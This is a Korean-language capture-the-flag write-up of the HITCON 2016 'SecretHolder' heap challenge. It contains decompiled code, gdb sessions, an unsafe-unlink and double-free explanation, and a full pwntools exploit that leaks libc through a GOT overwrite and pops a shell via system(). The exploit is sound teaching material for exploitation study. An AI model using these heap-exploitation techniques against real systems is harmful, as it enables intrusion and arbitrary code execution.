Excuse the ads! We need some help to keep our site up.
Break the Secret Holder and find the secret. |
autolycos@ubuntu:~/CTF/HITCON2016/SecretHolder$ file SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8 SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1d9395599b8df48778b25667e94e367debccf293, stripped autolycos@ubuntu:~/CTF/HITCON2016/SecretHolder$ checksec.sh --file SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8 autolycos@ubuntu:~/CTF/HITCON2016/SecretHolder$ |
autolycos@ubuntu:~/CTF/HITCON2016/SecretHolder$ ./SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8 Hey! Do you have any secret? I can help you to hold your secrets, and no one will be able to see it :) 1. Keep secret 2. Wipe secret 3. Renew secret |
Which level of secret do you want to keep? 1. Small secret 2. Big secret 3. Huge secret |
GlobalHugeFlag
GlobalBigFlag
GlobalSmallFlag
GlobalSmall
GlobalBig
__int64 KeepSecret() { int command; // eax@1 char tmp; // [rsp+10h] [rbp-10h]@1 __int64 canary; // [rsp+18h] [rbp-8h]@1 canary = *MK_FP(__FS__, 40LL); puts("Which level of secret do you want to keep?"); puts("1. Small secret"); puts("2. Big secret"); puts("3. Huge secret"); memset(&tmp, 0, 4uLL); read(0, &tmp, 4uLL); command = atoi(&tmp); if ( command == 2 ) { if ( !GlobalBigFlag ) { GlobalBig = calloc(1uLL, 4000uLL); GlobalBigFlag = 1; puts("Tell me your secret: "); read(0, GlobalBig, 4000uLL); } } else if ( command == 3 ) { if ( !GlobalHugeFlag ) { GlobalHuge = calloc(1uLL, 400000uLL); GlobalHugeFlag = 1; puts("Tell me your secret: "); read(0, GlobalHuge, 400000uLL); } } else if ( command == 1 && !GlobalSmallFlag ) { GlobalSmall = calloc(1uLL, 40uLL); GlobalSmallFlag = 1; puts("Tell me your secret: "); read(0, GlobalSmall, 40uLL); } return *MK_FP(__FS__, 40LL) ^ canary; } |
|
Which Secret do you want to wipe? 1. Small secret 2. Big secret 3. Huge secret |
해당 취약성에 의해 또 다른 취약성이 발생합니다.
앞에서 설명한 취약점을 이용해 flag 전역변수의 값을 변경하지 않고 Heap 영역을 해제 할 수 있습니다.
Heap 영역을 해제 할 때 free() 함수에 전달되는 값을 할당 받은 Heap의 주소 값 입니다.
__int64 WipeSecret() { int command; // eax@1 char s; // [rsp+10h] [rbp-10h]@1 __int64 v3; // [rsp+18h] [rbp-8h]@1 v3 = *MK_FP(__FS__, 40LL); puts("Which Secret do you want to wipe?"); puts("1. Small secret"); puts("2. Big secret"); puts("3. Huge secret"); memset(&s, 0, 4uLL); read(0, &s, 4uLL); command = atoi(&s); switch ( command ) { case 2: free(GlobalBig); GlobalBigFlag = 0; break; case 3: free(GlobalHuge); GlobalHugeFlag = 0; break; case 1: free(GlobalSmall); GlobalSmallFlag = 0; break; } return *MK_FP(__FS__, 40LL) ^ v3; } |
Which Secret do you want to renew? 1. Small secret 2. Big secret 3. Huge secret |
__int64 RenewSecret() { int command; // eax@1 char tmp; // [rsp+10h] [rbp-10h]@1 __int64 canary; // [rsp+18h] [rbp-8h]@1 canary = *MK_FP(__FS__, 40LL); puts("Which Secret do you want to renew?"); puts("1. Small secret"); puts("2. Big secret"); puts("3. Huge secret"); memset(&tmp, 0, 4uLL); read(0, &tmp, 4uLL); command = atoi(&tmp); if ( command == 2 ) { if ( GlobalBigFlag ) { puts("Tell me your secret: "); read(0, GlobalBig, 4000uLL); } } else if ( command == 3 ) { if ( GlobalHugeFlag ) { puts("Tell me your secret: "); read(0, GlobalHuge, 400000uLL); } } else if ( command == 1 && GlobalSmallFlag ) { puts("Tell me your secret: "); read(0, GlobalSmall, 40uLL); } return *MK_FP(__FS__, 40LL) ^ canary; } |
lazenca0x0@ubuntu:~/CTF/HITCON/SecretHolder$ gdb -q ./Sec* Reading symbols from ./SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8...(no debugging symbols found)...done. gdb-peda$ b *0x400925 Breakpoint 1 at 0x400925 gdb-peda$ b *0x400981 Breakpoint 2 at 0x400981 gdb-peda$ b *0x4009D7 Breakpoint 3 at 0x4009d7 gdb-peda$ |
Breakpoint 1, 0x0000000000400925 in ?? () gdb-peda$ x/i $rip => 0x400925: mov QWORD PTR [rip+0x201784],rax # 0x6020b0 gdb-peda$ i r rax rax 0x603010 0x603010 gdb-peda$ |
gdb-peda$ c Continuing. ... Breakpoint 2, 0x0000000000400981 in ?? () gdb-peda$ x/i $rip => 0x400981: mov QWORD PTR [rip+0x201718],rax # 0x6020a0 gdb-peda$ i r rax rax 0x603010 0x603010 gdb-peda$ |
gdb-peda$ c Continuing. ... Breakpoint 1, 0x0000000000400925 in ?? () gdb-peda$ c Continuing. ... Breakpoint 3, 0x00000000004009d7 in ?? () gdb-peda$ x/i $rip => 0x4009d7: mov QWORD PTR [rip+0x2016ca],rax # 0x6020a8 gdb-peda$ i r rax rax 0x7ffff7f73010 0x7ffff7f73010 gdb-peda$ p main_arena.system_mem $1 = 0x21000 gdb-peda$ p main_arena.max_system_mem $2 = 0x21000 gdb-peda$ info proc map process 68905 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x400000 0x402000 0x2000 0x0 /home/lazenca0x0/CTF/HITCON/SecretHolder/SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8 0x601000 0x602000 0x1000 0x1000 /home/lazenca0x0/CTF/HITCON/SecretHolder/SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8 0x602000 0x603000 0x1000 0x2000 /home/lazenca0x0/CTF/HITCON/SecretHolder/SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8 0x603000 0x624000 0x21000 0x0 [heap] 0x7ffff7a0d000 0x7ffff7bcd000 0x1c0000 0x0 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7bcd000 0x7ffff7dcd000 0x200000 0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dcd000 0x7ffff7dd1000 0x4000 0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd1000 0x7ffff7dd3000 0x2000 0x1c4000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd3000 0x7ffff7dd7000 0x4000 0x0 0x7ffff7dd7000 0x7ffff7dfd000 0x26000 0x0 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7f73000 0x7ffff7fd8000 0x65000 0x0 0x7ffff7ff6000 0x7ffff7ff8000 0x2000 0x0 0x7ffff7ff8000 0x7ffff7ffa000 0x2000 0x0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 0x2000 0x0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x25000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffd000 0x7ffff7ffe000 0x1000 0x26000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffe000 0x7ffff7fff000 0x1000 0x0 0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack] 0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall] gdb-peda$ |
Breakpoint 3, 0x00000000004009d7 in ?? () gdb-peda$ i r rax rax 0x603010 0x603010 gdb-peda$ p main_arena.system_mem $9 = 0x82000 gdb-peda$ p main_arena.max_system_mem $10 = 0x82000 gdb-peda$ info proc map process 68905 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x400000 0x402000 0x2000 0x0 /home/lazenca0x0/CTF/HITCON/SecretHolder/SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8 0x601000 0x602000 0x1000 0x1000 /home/lazenca0x0/CTF/HITCON/SecretHolder/SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8 0x602000 0x603000 0x1000 0x2000 /home/lazenca0x0/CTF/HITCON/SecretHolder/SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8 0x603000 0x685000 0x82000 0x0 [heap] 0x7ffff7a0d000 0x7ffff7bcd000 0x1c0000 0x0 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7bcd000 0x7ffff7dcd000 0x200000 0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dcd000 0x7ffff7dd1000 0x4000 0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd1000 0x7ffff7dd3000 0x2000 0x1c4000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd3000 0x7ffff7dd7000 0x4000 0x0 0x7ffff7dd7000 0x7ffff7dfd000 0x26000 0x0 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7fd5000 0x7ffff7fd8000 0x3000 0x0 0x7ffff7ff6000 0x7ffff7ff8000 0x2000 0x0 0x7ffff7ff8000 0x7ffff7ffa000 0x2000 0x0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 0x2000 0x0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x25000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffd000 0x7ffff7ffe000 0x1000 0x26000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffe000 0x7ffff7fff000 0x1000 0x0 0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack] 0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall] gdb-peda$ |
|
|
|
|
|
struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; }; |
#define unlink( P, BK, FD ) { BK = P->bk; FD = P->fd; FD->bk = BK; BK->fd = FD; } |
unsafe unlink 취약성이 발생하는 Free Chunk 구조는 다음과 같습니다.
0x603010 ~ 0x60302f 영역에는 Free chunk 구조를 저장합니다.
0x603030 영역에 이전 청크의 크기를 저장합니다.
0x603038 영역에 이전 청크가 할당되지 않은 영역이라 표시하기 위해, 저장된 값에서 PREV_INUS 값을 제거 한 0x61a90 값을 저장합니다.
|
#define unlink( P, BK, FD ) { BK = P->bk;(0x6020a0) FD = P->fd;(0x602098) FD->bk = BK;(0x602098 + 0x18 = 0x6020a0) BK->fd = FD;(0x6020a0 + 0x10 = 0x602098) } |
gdb-peda$ x/10gx 0x603000 0x603000: 0x0000000000000000 0x0000000000000031 0x603010: 0x0000000000000000 0x0000000000000031 0x603020: 0x0000000000602098 0x00000000006020a0 0x603030: 0x0000000000000020 0x0000000000061a90 0x603040: 0x0000000a44444444 0x0000000000000000 gdb-peda$ c Continuing. Program received signal SIGALRM, Alarm clock. 2 Which Secret do you want to wipe? 1. Small secret 2. Big secret 3. Huge secret 3 1. Keep secret 2. Wipe secret 3. Renew secret ^C 0x00007ffff7b049b0 in read () from ./libc.so.6_375198810bb39e6593a968fcbcf6556789026743 gdb-peda$ x/gx 0x6020b0 0x6020b0: 0x0000000000602098 gdb-peda$ |
공격을 위해 필요한 libc address는 다음과 같은 방법으로 획득 할 수 있습니다.
unsafe unlink 취약성을 이용하여 "GlobalSmall" 변수에 0x602098(.bss 영역)을 저장하였습니다.
공격자는 "GlobalSmall" 변수를 이용해 전역 변수에 저장된 값들을 변경할 수 있습니다.
전역 변수는 0x6020A0 ~ 0x6020C0 영역을 사용
gdb-peda$ c Continuing. 3 Which Secret do you want to renew? 1. Small secret 2. Big secret 3. Huge secret 1 Tell me your secret: AAAAAAAAAAAAAAAAAAAABBBB 1. Keep secret 2. Wipe secret 3. Renew secret ^C 0x00007ffff7b049b0 in read () from ./libc.so.6_375198810bb39e6593a968fcbcf6556789026743 gdb-peda$ x/8gx 0x0000000000602098 0x602098: 0x4141414141414141 0x4141414141414141 0x6020a8: 0x4242424241414141 0x000000000060200a 0x6020b8: 0x0000000000000001 0x0000000000000001 0x6020c8: 0x0000000000000000 0x0000000000000000 gdb-peda$ |
다음과 같은 방법으로 기본 주소를 계산 할 수 있는 libc address를 추출 할 수 있습니다.
주소 값 추출을 위해 free()함수의 got 영역을 공격 대상으로 합니다.
앞에서 확인한 취약성을 이용해 GlobalBig[0x6020a0] 영역의 값을 free() 함수의 got 주소로 변경합니다.
"Renew secret" 기능을 이용해 "Big secret"의 내용 변경을 요청하면 free() 함수의 got영역에 값을 저장할 수 있습니다.
해당 영역에 puts() 함수의 plt주소를 저장합니다.
"Renew secret" 기능을 이용해 "Small secret"을 선택해 GlobalBig[0x6020a0] 영역에 got 영역의 주소 값을 저장합니다.
여기에서는 read() 함수의 got 주소를 사용합니다.
"Wipe secret" 기능을 이용해 "Big secret"의 삭제를 요청하면 변경된 free() 함수의 got에 의해 puts() 함수가 호출됩니다.
"Big secret"을 선택하였기 때문에 GlobalBig에 저장된 read() 함수의 got 주소가 출력됩니다.
"libc.symbols['read']", "libc.symbols['system']"
from pwn import * def keep(size): p.recvuntil("3. Renew secret\n") p.sendline("1") p.recvuntil("3. Huge secret\n") p.sendline(size_num[size]) p.recvuntil(":") p.send(size) def wipe(size): p.recvuntil("3. Renew secret\n") p.sendline("2") p.recvuntil("3. Huge secret\n") p.sendline(size_num[size]) def renew(size,content): p.recvuntil("3. Renew secret\n") p.sendline("3") p.recvuntil("3. Huge secret\n") p.sendline(size_num[size]) p.recvuntil(":") p.send(content) p = process('./SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8', env={'LD_PRELOAD': './libc.so.6_375198810bb39e6593a968fcbcf6556789026743'}) bin = ELF('./SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8') libc = ELF("libc.so.6_375198810bb39e6593a968fcbcf6556789026743") size_num = { "small" : "1", "big" : "2", "huge" : "3" } GlobalSmall = 0x6020B0 GlobalBig = 0x6020A0 #log.info("free got : " + str(hex(bin.got['free']))) #log.info("read got : " + str(hex(bin.got['read']))) #log.info("puts plt : " + str(hex(bin.plt['puts']))) #log.info("atoi got : " + str(hex(bin.got['atoi']))) #log.info("read offset : " + str(hex(libc.symbols['read']))) #log.info("system offset : " + str(hex(libc.symbols['system']))) keep("small") wipe("small") keep("big") wipe("small") keep("small") keep("huge") wipe("huge") keep("huge") #Unsafe unlink (Write to heap area) secret = p64(0) secret += p64(49) secret += p64(GlobalSmall - 0x18) secret += p64(GlobalSmall - 0x10) secret += p64(32) secret += p64(400016) renew("big",secret) wipe("huge") #Overwrite to global variable (Write to stack area) secret = "A"*8 #0x602098 secret += p64(bin.got['free']) #GlobalBig [0x6020a0]:0x603010 -> bin.got['free'] secret += "A" * 8 #GlobalHuge [0x6020a8]:0x603040 -> "A" * 8 secret += p64(GlobalBig) #GlobalSmall[0x6020b0]:0x602098 -> 0x6020a0 renew("small",secret) #Overwrite to GOT of free() renew("big",p64(bin.plt['puts'])) #bin.got['free']:bin.plt['free'] -> bin.plt['puts']) #Overwrite to GlobalBig(Set the first argument value.) renew("small",p64(bin.got['read'])) #GlobalBig [0x6020a0]:bin.got['free'] -> bin.got['read'] #Call puts(GlobalBig:bin.got['read']) (Print GOT of read().) wipe("big") data = p.recvline() #Leak address readAddr = u64(data[:6] + '\x00\x00') libcBase = readAddr - libc.symbols['read'] systemAddr = libcBase + libc.symbols['system'] log.info("read addr : " + hex(readAddr)) log.info("libc Base : " + hex(libcBase)) log.info("system addr : " + hex(systemAddr)) |
lazenca0x0@ubuntu:~/CTF/HITCON/SecretHolder$ python Payload.py [+] Starting local process './SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8': pid 69469 [*] '/home/lazenca0x0/CTF/HITCON/SecretHolder/SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/home/lazenca0x0/CTF/HITCON/SecretHolder/libc.so.6_375198810bb39e6593a968fcbcf6556789026743' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] free got : 0x602018 [*] read got : 0x602040 [*] puts plt : 0x4006c0 [*] atoi got : 0x602070 [*] read offset : 0xf69a0 [*] system offset : 0x45380 [*] read addr : 0x7f1b543829a0 [*] libc Base : 0x7f1b5428c000 [*] system addr : 0x7f1b542d1380 [*] Stopped process './SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8' (pid 69469) lazenca0x0@ubuntu:~/CTF/HITCON/SecretHolder$ |
... ##Overwrite to global variable (Write to stack area) secret = p64(bin.got['atoi']) #GlobalBig [0x6020a0]:bin.got['read'] -> bin.got['atoi'] secret += "A" * 8 #GlobalHuge [0x6020a8]:"A" * 8 -> "A" * 8 secret += p64(GlobalBig) #GlobalSmall[0x6020b0]:0x6020a0 -> GlobalBig[0x6020a0] secret += p64(1) #GlobalBigFlag [0x6020b8]:0 -> 1 renew("small",secret) renew("big",p64(systemAddr)) #bin.got['atoi']:bin.plt['atoi'] -> system() p.send("sh") p.interactive() |
from pwn import * def keep(size): p.recvuntil("3. Renew secret\n") p.sendline("1") p.recvuntil("3. Huge secret\n") p.sendline(size_num[size]) p.recvuntil(":") p.send(size) def wipe(size): p.recvuntil("3. Renew secret\n") p.sendline("2") p.recvuntil("3. Huge secret\n") p.sendline(size_num[size]) def renew(size,content): p.recvuntil("3. Renew secret\n") p.sendline("3") p.recvuntil("3. Huge secret\n") p.sendline(size_num[size]) p.recvuntil(":") p.send(content) p = process('./SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8', env={'LD_PRELOAD': './libc.so.6_375198810bb39e6593a968fcbcf6556789026743'}) bin = ELF('./SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8') libc = ELF("libc.so.6_375198810bb39e6593a968fcbcf6556789026743") size_num = { "small" : "1", "big" : "2", "huge" : "3" } GlobalSmall = 0x6020B0 GlobalBig = 0x6020A0 log.info("free got : " + str(hex(bin.got['free']))) log.info("read got : " + str(hex(bin.got['read']))) log.info("puts plt : " + str(hex(bin.plt['puts']))) log.info("atoi got : " + str(hex(bin.got['atoi']))) log.info("read offset : " + str(hex(libc.symbols['read']))) log.info("system offset : " + str(hex(libc.symbols['system']))) keep("small") wipe("small") keep("big") wipe("small") keep("small") keep("huge") wipe("huge") keep("huge") #Unsafe unlink (Write to heap area) secret = p64(0) secret += p64(49) secret += p64(GlobalSmall - 0x18) secret += p64(GlobalSmall - 0x10) secret += p64(32) secret += p64(400016) renew("big",secret) wipe("huge") #Overwrite to global variable secret = "A"*8 #0x602098 secret += p64(bin.got['free']) #GlobalBig [0x6020a0]:0x603010 -> bin.got['free'] secret += "A" * 8 #GlobalHuge [0x6020a8]:0x603040 -> "A" * 8 secret += p64(GlobalBig) #GlobalSmall[0x6020b0]:0x602098 -> 0x6020a0 renew("small",secret) #Overwrite to GOT of free() renew("big",p64(bin.plt['puts'])) #bin.got['free']:bin.plt['free'] -> bin.plt['puts']) #Overwrite to GlobalBig(Set the first argument value.) renew("small",p64(bin.got['read'])) #GlobalBig [0x6020a0]:bin.got['free'] -> bin.got['read'] #Call puts(GlobalBig:bin.got['read']) (Print GOT of read().) wipe("big") data = p.recvline() #Leak address readAddr = u64(data[:6] + '\x00\x00') libcBase = readAddr - libc.symbols['read'] systemAddr = libcBase + libc.symbols['system'] log.info("read addr : " + hex(readAddr)) log.info("libc Base : " + hex(libcBase)) log.info("system addr : " + hex(systemAddr)) ##Overwrite to global variable (Write to stack area) secret = p64(bin.got['atoi']) #GlobalBig [0x6020a0]:bin.got['read'] -> bin.got['atoi'] secret += "A" * 8 #GlobalHuge [0x6020a8]:"A" * 8 -> "A" * 8 secret += p64(GlobalBig) #GlobalSmall[0x6020b0]:0x6020a0 -> GlobalBig[0x6020a0] secret += p64(1) #GlobalBigFlag [0x6020b8]:0 -> 1 renew("small",secret) renew("big",p64(systemAddr)) #bin.got['atoi']:bin.plt['atoi'] -> system() p.send("sh") p.interactive() |
Flag | hitcon{The73 1s a s3C7e+ In malloc.c, h4ve y0u f0Und It?:P} |
---|